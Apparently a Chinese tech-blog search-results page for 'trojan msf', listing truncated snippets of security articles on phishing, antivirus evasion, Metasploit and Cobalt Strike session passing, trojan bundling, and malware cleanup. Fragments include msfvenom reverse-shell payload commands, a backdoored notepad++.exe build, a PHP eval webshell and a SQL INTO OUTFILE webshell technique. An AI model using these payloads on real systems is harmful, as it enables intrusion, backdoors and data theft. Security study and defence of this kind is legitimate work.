木马msf
完蛋，我被挖矿木马包围了｜使用 TLS 连接 Docker
近日，白泽在使用 docker 的时候，开放了防火墙的端口，以 SSH 方式访问远程服务器的 docker 守护进程（无需使用密钥即可建立连接），随后竟遭到了挖矿木马的攻击！ ......
钓鱼手法及木马免杀技巧
简述钓鱼是攻防对抗中一种常用的手段，攻击者通常伪装成可信任的实体，例如合法的机构、公司或个人，以引诱受害者揭示敏感信息或执行恶意操作，能快速地撕破目标的伤口，快速进内网进行刷分，投递木马同时需要考虑逃避杀毒软件检测，本篇文章将围绕一些常见的钓鱼手法和木马免杀对抗展开信息搜集批量邮箱搜集https:/ ......
红队技巧12:cobaltstrike和msf相互联动
前言 我们在利用msf获取权限后有时候需要利用cobaltstrike的方便功能 在利用cobaltstrike获取到权限后有时候需要利用msf的payload 这时候就需要cobaltstrike和msf相互联动 msf会话->cobaltstrike会话 msf生成木马 msfvenom -p ......
CS和MSF的会话转移
设置外部监听器 登录CS，在CS的监听器中创建一个 Foreign 监听器；也就是外部监听器，是指监听外部的端口。 MSF 监听 然后在服务器上开启 MSF 进行监听： msf6 > use exploit/multi/handler [*] Using configured payload gen ......
电脑杀毒软件（Antivirus Software），也称为反病毒软件，是一种用于保护计算机免受恶意软件、病毒、木马、间谍软件等威胁的安全工具。
电脑杀毒软件（Antivirus Software），也称为反病毒软件，是一种用于保护计算机免受恶意软件、病毒、木马、间谍软件等威胁的安全工具。 它通过扫描、检测、清除和防御恶意软件，以确保计算机系统的安全性和稳定性。 当涉及选择电脑杀毒软件时，以下是一些在中国和国外备受认可的选项，以及它们的特点： ......
钓鱼手法及木马免杀技巧
简述 钓鱼是攻防对抗中一种常用的手段，攻击者通常伪装成可信任的实体，例如合法的机构、公司或个人，以引诱受害者揭示敏感信息或执行恶意操作，能快速地撕破目标的伤口，快速进内网进行刷分，投递木马同时需要考虑逃避杀毒软件检测，本篇文章将围绕一些常见的钓鱼手法和木马免杀对抗展开 信息搜集 批量邮箱搜集 htt ......
MSF学习笔记
一、Msf信息收集 1 二、Msf 各种payload 1 payload生成 1 建立侦听 2 实操（对windows） 3 Powershell配合msf无文件攻击 5 Word伪装木马攻击 5 钓鱼 6 三、Ngroke 6 四、免杀 7 Virustotal.com （查杀网站） 7 She ......
【网安神器】MSF木马制作
Linux msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=Your IP LPORT=Your Port -f elf -o ./shell.elf Windows msfvenom -p windows/meterpreter/revers ......
木马隐藏分析
实验目的： 通过本实验，读者将学习到以下内容： （1）了解木马隐藏技术的基本原理 （2）提高木马攻击的防范意识 （3）学会木马防范的相关工具 注意：本实验在虚拟机上面进行，不准用于破坏他人计算机环境或诱导他人下载木马，本实验仅做学习交流，禁止一切非法行为，否则后果自负！ 实验环境 Win71虚拟机作 ......
常用木马和提权命令
作用是在Python中创建一个伪终端（pty），并在其中启动一个bash shell。这样，你可以在Python脚本中执行bash命令，就像在终端中一样。 python -c 'import pty; pty.spawn("/bin/bash")' 一句话木马： <?php @eval($_REQU ......
MSF生成远控木马
实验环境： 靶机Windows server 2003 192.168.242.129 攻击机kali 192.168.242.131 实验工具：Metasploit Framework(MSF) 实验过程： 确定攻击机和靶机之间连通性 利用msfvenom生成远控木马 msfvenom是msfpa ......
自解压捆绑木马上线
自解压捆绑木马 使用CS生成一个木马文件将木马跟一个正常的文件捆绑在一起，当点捆绑生成的EXE文件就会执行木马和正常的文件。 选中木马文件和一个正常的文件，选择添加到压缩文件 常规-勾选创建自解压格式压缩文件并修改压缩文件名 高级-点击自解压选项 常规-填写解压路径 设置-填写解压后运行的路径，一个 ......
用MSF远程打开摄像头。黑客手机丢了怎么找？
1、首先通过MSF，生成手机client端程序，其中需要配置server端IP和port; msfvenom主要用来生成带后门的软件 2、生成的安卓apk在手机安装运行 3、运行msfconsole，进入控制台 与手机建立连接 输入webcam_stream，即可打开摄像头 ......
Gh0st木马
https://www.secrss.com/articles/50209 Gh0st是一种远程控制软件，它可以在被攻击的计算机上运行并允许攻击者远程控制该计算机。为了查找Gh0st的进程、文件、注册表等信息，您可以采取以下步骤： 查找Gh0st的进程：打开任务管理器，查看正在运行的进程列表，如果发 ......
木马加密
//生成加密后门 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.7 lport=9999 -f exe > -x notepad++.exe -o notepad++.exe //下载套壳工具 https://www.orea ......
实战攻防演练-WinRar压缩包创建自解压木马
前言 在攻防演练中，钓鱼攻击通常采用社会工程学手段，通过伪装成可信的来源，引导用户点击恶意链接或下载恶意文件，进而实现攻击。而使用压缩包自解压技术可以在一定程度上提高攻击成功率。其中包含的自解压木马就会被激活并感染用户的计算机，而在本篇文章中会介绍如何使用自解压木马技术钓鱼。 实战技术操作 第一步 ......
MSF与CS互相派生
目录CS与MSF互相派生CS派生给MSF使用CS建立监听MSF接收CS派生MSF派生给CS使用MSF建立监听 CS与MSF互相派生 CS派生给MSF 使用CS建立监听 创建CS监听端口 利用创建的CS端口生成控制器 设法传至受害机并进行运行,收到请求 建立转发给MSF的监听端口 MSF接收CS派生 ......
centos搭建msf
搭建msf 官方有提供一键安装脚本，如下： curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate ......
MSF恶意程序利用【实战】
后门的生成是为了更好的理解渗透过程中的方法以及途径，进而达到更好的防护，而不是利用技巧去做攻击等不合理的行为。
思路：利用社会工程学中人的心理，为某些软件利用msf生成一些后门程序，进而通过带有后门的软件实现渗透获取shell 。 ......
TrueUpdate白加黑木马分析保姆级教程
目录TrueUpdate白加黑木马分析保姆级教程0x00：前言TrueUpdate是什么？0x01: TrueUpdate逆向分析解压密码查壳脱壳分金定穴找到解压密码方法1：找到解压密码方法2：提取密码附近关键字特征0x02：揭开.dat真相0x03: 插入恶意代码(玩点好玩的)0x04：进入正题( ......
记一次Linux服务器上查杀木马经历
开篇前言 Linux服务器一直给我们的印象是安全、稳定、可靠，性能卓越。由于一来Linux本身的安全机制，Linux上的病毒、木马较少，二则由于宣称Linux是最安全的操作系统，导致很多人对Linux的安全性有个误解：以为它永远不会感染病毒、木马；以为它没有安全漏洞。所以很多Linux服务器都是裸奔 ......
msf扫描靶机上mysql服务的空密码
我们启动一台 Metasploitable2-Linux 靶机网络模式为桥接 IP：192.168.146.136 登录 Metasploitable2-Linux 系统用户名 root，密码：123456 输入 ip a 查看 ip 地址 登录 Kali 开始搜索模块 msf6 > search ......
Centos7安装msf
文章来自：https://blog.csdn.net/weixin_44268918/article/details/129771330 1. 前言在日常使用中，模拟攻击以及测试的时候都是直接使用本地虚拟机kali中的msf工具，但是在一些测试环境中需要使用到公网，但是目前的所有的云服务商，并不会提 ......
【原创】基于QT编写的支持IPv4/IPv6双协议栈，TCP/UDP双模式，DLL内存加载的模块化远控木马
本人已经本科毕业一年有余，在平常实习过程中，发现大佬都对我的本科毕设--双协议栈远控木马感兴趣。 据我所知，目前流行的C2远控软件 中，MSF支持IPv4和IPv6，但是MSF生成的单个木马只是支持其中的一种协议，而不是双协议栈。Cobalt Strike目前尚无IPv6的使用案例。其他支持双协议栈 ......
SQL注入MYSQL中写入木马getshell的两种方法
# into outfile直接写入木马文件 ## 使用条件： - 知道网站的绝对路径 - secure_file_priv不能为null - 拥有写入文件的权限 ## 使用方法： 利用into outfile写入木马文件 ``` select "" into outfile "D:\\phpstu ......
借助AI分析哥斯拉木马原理与Tomcat回显链路挖掘
前言 本次分析使用了ChatGPT进行辅助分析，大大提升了工作效率，很快就分析出木马的工作流程和构造出利用方式。 分析 首先对该木马进行格式化,以增强代码的可读性。得到如下代码 <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1 ......
css3-旋转木马
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document< ......
Windows安装msf工具教程
Metasploit Framework（简称MSF）是一款广泛使用的渗透测试工具，它提供了一系列的漏洞利用模块和Payloads，用于评估和测试系统的安全性。在Windows系统上安装和配置Metasploit Framework可以按照以下步骤进行： 安装依赖软件： 安装Ruby：Metaspl ......
木马样本分析： 99b02a32a9d92c521de94a53dcd93078a357d0e2f26fdeb57735a53fee9b60fa，一个.net SmartAssembly混淆的样本
csharp的类： using System; using System.ComponentModel; using System.Drawing; using System.Windows.Forms; // Token: 0x02000009 RID: 9 public sealed class ......